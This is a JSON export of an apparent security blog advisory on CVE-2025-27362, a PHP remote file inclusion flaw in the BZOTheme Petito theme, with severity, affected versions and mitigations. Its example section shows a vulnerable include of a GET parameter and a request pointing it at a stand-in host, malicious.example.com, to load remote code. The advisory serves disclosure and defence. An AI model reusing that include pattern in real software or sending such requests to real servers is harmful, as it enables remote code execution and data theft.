{"id":52206,"date":"2025-06-15T13:05:18","date_gmt":"2025-06-15T13:05:18","guid":{"rendered":""},"modified":"2025-07-05T11:24:55","modified_gmt":"2025-07-05T17:24:55","slug":"cve-2025-27362-php-remote-file-inclusion-vulnerability-in-bzotheme-petito","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-27362-php-remote-file-inclusion-vulnerability-in-bzotheme-petito\/","title":{"rendered":"<strong>CVE-2025-27362: PHP Remote File Inclusion Vulnerability in BZOTheme Petito<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-27362 vulnerability is a significant security flaw affecting the BZOTheme Petito, predominantly used in various web-based applications. This vulnerability arises due to the improper control of filename for Include\/Require Statement in the PHP Program, a condition also known as &#8216;PHP Remote File Inclusion.&#8217; If exploited, this vulnerability could lead to potential system compromise or data leakage, posing a severe risk to users&#8217; data and privacy. It is of crucial importance for developers and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21460-memory-corruption-vulnerability-in-guest-vm-buffer-processing-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"59002\">system administrators to understand this vulnerability<\/a>, its implications, and the steps needed to mitigate it.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-27362<br \/>\nSeverity: High (8.1 CVSS v3)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5527-critical-vulnerability-exposing-potential-system-compromise-in-tenda-rx3\/\"  data-wpil-monitor-id=\"58711\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-597810589\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>BZOTheme Petito | n\/a through 1.6.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2025-27362 <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-47297-dangerous-settings-manipulation-vulnerability-in-ncr-terminal-handler-v1-5-1\/\"  data-wpil-monitor-id=\"63952\">vulnerability arises when an attacker manipulates<\/a> the filename in the Include\/Require statement in the PHP program. This manipulation can allow an attacker to load a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47586-php-remote-file-inclusion-vulnerability-in-stylemixthemes-motors-events\/\"  data-wpil-monitor-id=\"59942\">remote file<\/a> in place of the intended local file. As a result, the attacker&#8217;s remote file is executed on the server, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21480-memory-corruption-vulnerability-in-gpu-micronode-leads-to-unauthorized-command-execution\/\"  data-wpil-monitor-id=\"58501\">leading to unauthorized<\/a> access, system compromise, or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2865816509\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a<br \/>\n<strong>conceptual<\/strong><br \/>\n example of how this vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?php\n\/\/ The following include statement is vulnerable\ninclude($_GET[&#039;filename&#039;] . &#039;.php&#039;);\n?&gt;<\/code><\/pre>\n<p>In this conceptual example, an attacker could manipulate the &#8216;filename&#8217; GET parameter to point to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26592-php-remote-file-inclusion-vulnerability-in-ancorathemes-inset\/\"  data-wpil-monitor-id=\"60167\">remote file<\/a>. The attacker could craft a URL like:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/vulnerable_page.php?filename=http:\/\/malicious.example.com\/malicious_file HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>This request would cause the server to include and execute the malicious file hosted on `http:\/\/malicious.example.com\/malicious_file.php`, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21469-memory-corruption-vulnerability-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"59028\">leading to potential system<\/a> compromise or data leakage.<\/p>\n<p><strong>Recommended Mitigations<\/strong><\/p>\n<p>The best course of action to mitigate the risk posed by the CVE-2025-27362 <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4578-sql-injection-vulnerability-in-file-provider-wordpress-plugin\/\"  data-wpil-monitor-id=\"58811\">vulnerability is to apply the patch provided<\/a> by the vendor. In cases where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can help block or alert administrators about potentially malicious activity. However, these are not long-term solutions and should be used in conjunction with other security measures.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-27362 vulnerability is a significant security flaw affecting the BZOTheme Petito, predominantly used in various web-based applications. This vulnerability arises due to the improper control of filename for Include\/Require Statement in the PHP Program, a condition also known as &#8216;PHP Remote File Inclusion.&#8217; If exploited, this vulnerability could lead to potential system compromise [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-52206","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52206","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=52206"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52206\/revisions"}],"predecessor-version":[{"id":57503,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52206\/revisions\/57503"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=52206"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=52206"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=52206"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=52206"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=52206"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=52206"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=52206"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=52206"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=52206"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}